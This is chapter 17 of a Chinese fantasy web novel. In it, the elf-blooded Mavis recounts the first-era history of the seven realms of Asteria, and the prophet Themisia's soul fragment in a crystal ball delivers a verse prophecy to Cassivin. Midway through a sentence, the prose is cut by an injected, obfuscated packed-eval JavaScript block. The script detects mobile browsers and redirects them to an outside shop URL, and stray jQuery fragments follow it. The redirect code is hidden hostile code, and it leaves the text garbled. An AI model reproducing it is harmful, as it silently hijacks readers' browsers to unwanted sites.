17.旧时的盟约
作品:《被迫出演人气角色》 冷风裹着血沙拍在断墙上,残垣间横陈着未及掩埋的伤兵与流离的平民。
哀嚎混着硝烟漫过主街,每一步都踩在黏腻的血痂上,灰蒙的天压得极低,连稀薄的月光都浸着化不开的惨烈与绝望。
三人踏着血沙穿过半塌的巷弄,推开梅薇丝住处吱呀作响的木门,扑面而来的不是战场的腥气,而是旧纸与古木的清芬。
不大的空间被改造成密不透风的书库,顶天立地的青石书架从地面直抵屋顶,摆满了泛黄的线装古籍、烫金封皮的神谕卷册、绘着星轨的羊皮卷与失传的草药手札,连地面都堆着半人高的典籍,每一本都封着防尘的蜂蜡,透着跨越数百年时光的厚重与沉静。
这间书库梅薇丝在此之前从来不让旁人进入,可今日却破了例,或许也不会是最后一例。
房间中央的橡木圆桌上摆着一个不大的水晶球,松脂燃起的灯火照在上面,水晶球表面刻印的族徽显露出来——伊芙琳娜的族徽,月桂枝的图案。
“过来吧。”梅薇丝没有回头,走进铺着羊绒毯的房间,翠绿色的能量卷起一旁书架上的书,落在她身后,“你们想知道的都在这。”
“梅薇丝阿姨……”
“请打住。”梅薇丝止住卡西温未完的话,浅蓝色的眸子无奈地看向一侧的黑发青年,“您和您父亲一样,总爱叫我阿姨,我看起来很老吗。”
卡西温张了张嘴,想说自己不是这个意思,可是梅薇丝没给他这个机会,“我知道您不是这个意思,只是有的时候少些礼仪也不算错哦。”话落,她冲卡西温眨眨眼。
“对了,瑟拉,你想要来杯花茶吗?”梅薇丝轻柔地笑笑,挥挥手,一阵细微的咔哒声响起,然后一套完整的茶具和花茶罐子从里间慢悠悠地飘了出来,“露西亚以前很爱来我这讨茶喝,她说,这茶甜滋滋的,会让她忘记过去的苦。”
“你作为她的养女,我想你应该也会喜欢。”
瑟拉想要拒绝的话咽了回去,双手接过飘向她的茶具,低声道:“……是的,麻烦您了。”
“当然,这并不麻烦。”梅薇丝眼里划过一丝笑意,像安抚孩童似的抚过瑟拉头顶。
“卡西温大人,这边请。”梅薇丝侧过身子,示意他坐下,她已经指挥着茶具去泡茶了,很快就好。
“您想知道什么,现在都可以问我了。”
烛火落在卡西温鸦色的长发间,镀上一层柔和的光晕,他眉眼间掠过一丝极轻的迟疑,长睫微颤,却并未长久踟蹰。再抬眼时,温和的眸光已然凝定,声线柔缓如泉,却字字清晰笃定:
“请您告诉我,一切。”
梅薇丝指尖微顿,原本悬在半空准备斟茶的动作倏然收住,她缓慢却郑重地望向面前的青年,明明在记忆中,不久前还是个孩子的少年,已经长大成人了。
是吗,原来已经过去这么多年了吗。
她轻轻呼出一口气,那口气里带着岁月的沉缓,也有几分难以言喻的怅然。
“好。”
她终于开口,声音比先前更柔了几分,像伊瑟里昂山间淌了千年的溪水,清冽里裹着暖。
她的指尖轻轻叩了叩长桌,那盏被精灵魔法加持的油灯便缓缓抬升,暖光如潮水般漫开,将满室古籍的微尘照得清晰,也照出她眼底那抹压了近千年的了然。
古老的藏书漂浮在空中,书页哗哗作响,古老的画卷呈现在了几人面前。
“那就……从一切的开始说起吧。”
***
阿斯特里亚大陆曾是众神的国度,三十二神明行走于大地,那是最辉煌的时刻。
星轨为绳,神谕为章,神明以自身权能为大陆刻下永恒的秩序,将天地四方分赐给信众,由此诞生了阿斯特里亚的七大国度——
居于大陆中央星陨山脉的,是伊瑟里昂,神谕的国度。
司律之神在此降下神谕,以星辰为盘,以法理为棋,将神明的意志刻入每一卷古籍、每一座神殿。
这里是大陆的信仰核心,祭司们以星象推演天命,以神谕裁决纷争,千年来始终守护着神明时代的传承,是灾变中唯一未被彻底侵蚀的净土。
沿大陆西海岸绵延千里的,是卡瑞多尔,海洋的霸主。
海神的后裔在此筑起港口城邦,以海浪为路,以商船为刃,掌控着大陆所有的海上贸易。
这里是冒险者的天堂,商人的乐园,海盗与商会在此博弈,黄金与香料堆满了每一个码头,「海浪所及,皆为商路」是卡瑞多尔人刻在骨血里的信条。
中央沃野之上,是诺米利亚,骑士与律法的王国。
天秤之神的神谕在此化作成文法典,银翼骑士团以长枪守护秩序,以荣誉捍卫王权。
这里是人类世俗王权的核心,以律法为骨,以骑士为刃,将神明的秩序化作人间的规则,是大陆对抗灾变与诡异妖的中流砥柱。
北境永冻冰原之上,是欧若拉利亚,极光与誓约的守护之国。
冰雪女神在此立下千年血誓,先民们以雪狼为友,以冰霜为甲,驻守在大陆的最北端,抵御着地海诡妖的入侵,极光之下,永霜要塞的城墙千年不倒,「极光为誓,冰原为障」是每一个北境战士的毕生信仰。
西境星坠森林深处,是莱瑟瑞亚,精灵与自然的永恒国度。
自然女神在此种下世界树,精灵们以森林为家,以自然为法,守护着大陆的生态平衡。银叶圣所的光芒千年不熄,精灵们留存着神明时代的自然魔法,是对抗废土魔法侵蚀的最后屏障。
星陨山脉的岩层深处,横贯阿斯特里亚腹心的地底,是艾瑟维恩——岩星与锻铸的地下王国。
锻铸与岩星之神在此凿开大地脉络,以地心圣火为炉,以星陨矿脉为料,矮人与锻铸大师们以铁锤为刃,以熔炉为魂,掌控着大陆最丰沛的星铁、秘银与魔晶矿脉,是旧日时代全大陆无可替代的兵械制造核心。
熔星锻炉的圣火千年不熄,即便诸神黄昏的灾变席卷地表,地底岩墙仍隔绝了废土魔法的侵蚀,艾瑟维恩仍旧守着大陆最后的锻铸传承,是阿斯特里亚重铸荣光的钢铁脊梁。
南境无尽沙海之中,是玛尔若斯,商贸与多元信仰的绿洲国度,丰饶之神在此开辟沙海商路,绿洲城邦在此崛起,商人们以骆驼为足,以契约为纲,掌控着大陆的香料、宝石与丝绸贸易,金曜绿洲的繁华千年不衰,是大陆文明交流的熔炉。
在最辉煌的时代,七大国度各安其位,神明与人类共生,星轨流转,秩序井然。
曾经的世界是如此的美好,可是……
诸神的黄昏,降临了。
自此,新的时代,拉开了帷幕。
***
“这些……我从未听过。”
“当然不可能听过,瑟拉。”梅薇丝笑了笑,可那笑意却不达眼底,“我们所处在的是第二纪元,而我说的那一切,则属于第一纪元,最古老的时代。”
卡西温接过从空中掉落下来的书,没有说话,但眼中的意思梅薇丝很清楚。
“卡西温,我活了很久,这一点在军中并非秘密,你知道为什么吗?”
虽然在新纪元后人类的平均寿命已经达到了三百岁,可她生活的时间却远超这个限制,她看着卡西温的父亲从襁褓里的婴儿长为成熟的青年,又从青年步入婚姻有了自己的孩子。
“我有精灵的血脉,是预言精灵的分支,我旧时的族人随司律之神离开精灵之森,来到了伊瑟里昂,成为了祂在人间的代行者。”
“可我没有预言的能力,所以我只能远离,也正是如此,我活了下来,并且遇见了她。”
“我厌恶着战争,她也一样,所以我们背叛了旧日的贵族,背叛了我的家族,毅然决然的来到了这里。”
“你不知晓自己的姓氏究竟代表着什么,曾经我也认为不必告诉你让你承担太多,可是那位回来了,忒弥西娅的预言成真了,你需要知晓一切。”
说到这里,梅薇丝深吸一口气,声音夹杂着不易察觉地颤抖,“祂是旧时最后一位神明,亦是——一切灾祸的根源。”
她把橡木桌上的水晶球拿了过来,指尖触及到水晶球时,属于她的力量波动从掌心涌出,覆盖了整颗水晶球:“忒弥西娅,是时候了。”
她等待了几百年,今日终于能再见她最后一面。
忒弥西娅只是一个普通的人类女性,她不仅没有继承到新纪元的长久寿命,反倒因为预言之力她的人生仅有五十年。
她在弥留之际将自己的最后一块灵魂碎片藏进了这颗水晶球,以期未来,当预言真的降临之时,她能为后世之人带去最后的口谕。
话音落下,那枚被梅薇丝以精灵魔法温养了几百年的水晶球骤然亮起。
澄澈的球身翻涌开深邃的蓝,像把精灵之森最深处、流淌了亿万年的生命之河整个封入其中,连空气里都漫开了清冽的草木香与神谕的微光。光影流转间,一道纤细的身影缓缓浮现在水晶球中央——
那便是忒弥西娅。
她的长发像是一捧鲜活流动的深蓝,像生命河的活水在发间奔涌,每一缕都缀着细碎的星砂银光,随着呼吸轻轻起伏,仿佛下一秒就会顺着肩头淌落,融进水晶球的光晕里。
她的眼眸是比发间更深的沉蓝,像藏着整片星空与时间的深渊,眼尾天然缀着三缕银白神纹,是预言之力刻在骨血里的印记,抬眼时,悲悯与洞穿千年的了然便漫了满眼。
明明只是一缕残存的灵魂碎片,却自带一种俯瞰众生、看透生死的神性,温柔得像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401264|199013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿斯特里亚最古老的月光,又锋利得像能斩断一切虚妄的时间之刃。
她身着星砂织就的素白长裙,目光扫过梅薇丝时,深蓝眼底漾开跨越近百年的柔软,声音轻得像风,却带着穿透时光的力量:
“梅薇丝,好久不见。”
“……好久不见,忒弥西娅。”梅薇丝的眼眸中倏然漫开湿意,却在抬眼的瞬间将一切埋藏了回去,她收回手,将那些变得黯淡无光的力量尽数藏匿。
忒弥西娅轻轻颔首,她将目光转向桌旁的卡西温,那双看透时光的蓝眸落在他紫罗兰色的瞳仁上,仅一眼就看穿了斯利威尔家族代代传承的宿命。
“卡西温·斯利威尔。”
卡西温在刚刚不动声色地退到门口,将空间留给了梅薇丝和这位女士,直到她开口呼唤,他才重新走上前。
“你好,卡西温,我可以这样叫你吧。”忒弥西娅声音温柔地问道,“这应该是我们第一次见面,可在此之前,我已经在预言里见过你无数次了。”
“虽然我未曾像梅薇丝一样,一直陪在你身边,但我见过你幼时的模样,也见过你少年时的样子。”
突然她笑了一声,带着些无奈,“抱歉,已经很久了,没有与人交流过,话多了些,我的时间不多,接下来请听好我所要告诉你的一切。”
——
星穹垂落亘古的低语,
风卷着残烬,掠过千年未平的荒原,
我以神谕之舌,吟哦未显的命数,
字句藏进雾霭,不道破半分真颜。
有一道影,嵌在时光的裂痕最深处,
是万祸奔涌的源头,是灾厄起卷的枢机,
莫要因深渊的轰鸣,心生惧意,
莫要因暗夜的沉郁,将祂判离——
祂骨血里沉睡着未染尘的温煦,
灵魂深处,燃着纯白无垢的星火,
不过是命数将祂,困在因果的旋涡里。
古远之世,三簇薪火曾紧紧相依,
铜铸的印鉴刻下缄默的盟誓,
斯利威尔的先祖,厄休里斯的魂灵,赫尔伯德的印记,
与那影之真身,定下跨越万古的约契,
誓言埋进岩层,随岁月沉寂,
只待命轮转动,再掀波澜,再续归期。
有一人将执光而来,踏过焦土与血溪,
剑刃斩落纷飞的烽火,暂歇千年不息的鏖战,
他是烽烟的暂歇者,不是终局的落笔,
战火会蛰伏,却未彻底寂灭,
只等下一程星辰,亮起归序的轨迹。
待时光流转,少年会接过先辈的炬火,
与命定的双子星芒并肩而行,
那是藏在星轨最深处的真意,
是打破轮回的密钥,是终结一切的契机——
唯有他们同行,方能斩碎千年的桎梏,
让战火永远归于尘土,让和平漫过每一寸土地。
我将预言藏进诗行,如雾藏山,如月藏云,
不道破姓名,不点明因果,
只待命数自现,只待众生自悟,
万古的谜,终会由时光亲手解开,
善恶的终章,终会归向最温柔的结局。
——
咏叹调落定的刹那,水晶球内的深蓝骤然退潮。
忒弥西娅的蓝发如融雪般缓缓汇入球身,深蓝眼眸最后落在梅薇丝身上,漾开跨越百年的释然与温柔,没有只言片语,只留下一个浅浅的颔首,便化作细碎的星砂,彻底消散在水晶球里。
满室的共鸣微光缓缓褪去,水晶球重新恢复澄澈,安安静静地躺在橡木桌上,仿佛方才那道蓝发如河的身影、那跨越百年的预言,都只是一场虚幻的梦。
“卡西温,接着,是时候把这个还给你了。”
梅薇丝愣愣地看着忒弥西娅消散之后变得黯淡的水晶球,沉默半晌最后轻声开口,她用最后的力量打开了被她藏在书库最深处的宝石匣,推到卡西温面前。
宝石匣打开的时候,没有声响,只有一道流光从匣底缓缓浮起,像从时间缝隙里漏出的星子。
那是一块碎片,他能看出这是不完整的。
它呈不规则的棱形,每一道边缘都带着被锋刃切割出的、细如发丝的银白刃痕,通体澄澈如封冻了万年的冰原,冰透的晶壁里却晕着一层极淡的绯色柔光。
最动人心魄的是晶腔内部,细碎的赤金砂粒悬浮在澄澈的晶液中,顺着看不见的轨迹缓缓流动,像一捧被定格的、永不熄灭的时光。
“这是你祖上曾交予我代为保管的,如今还给你。”
“神名——不可闻、不可视,不可言。”
“你们走吧,我累了。”

